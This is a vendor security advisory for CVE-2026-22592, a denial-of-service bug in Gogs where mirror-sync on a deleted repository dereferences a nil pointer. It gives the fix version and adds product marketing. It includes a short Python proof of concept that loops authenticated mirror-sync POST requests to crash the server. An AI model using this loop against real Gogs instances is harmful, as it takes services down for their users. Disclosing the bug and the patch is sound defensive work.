CVE-2026-22592 is a medium-severity (CVSS 6.5) vulnerability in gogs.io/gogs. A fix is available for gogs.io/gogs — see the affected versions and patch details below.
Gogs is Vulnerable to Denial of Service
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22592.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-22592 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
gogs.io/gogsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.
Details
If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits.
https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337
if err != nil m is alwasa nil
https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278
PoC
Spam mirror-sync on repo and delete this repo code python spam mirror-sync
import requests
url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
"Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}
data = {
"_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
"action": "mirror-sync",
}
while True:
print("syncing")
response = requests.post(url, headers=headers, data=data)
Impact
Denial of Service server crash.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | gogs.io/gogs | all versions | 0.13.4go get gogs.io/gogs@v0.13.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gogs.io/gogs to 0.13.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22592 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22592 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-22592. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-22592 in your dependencies?
O3 Security finds CVE-2026-22592 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.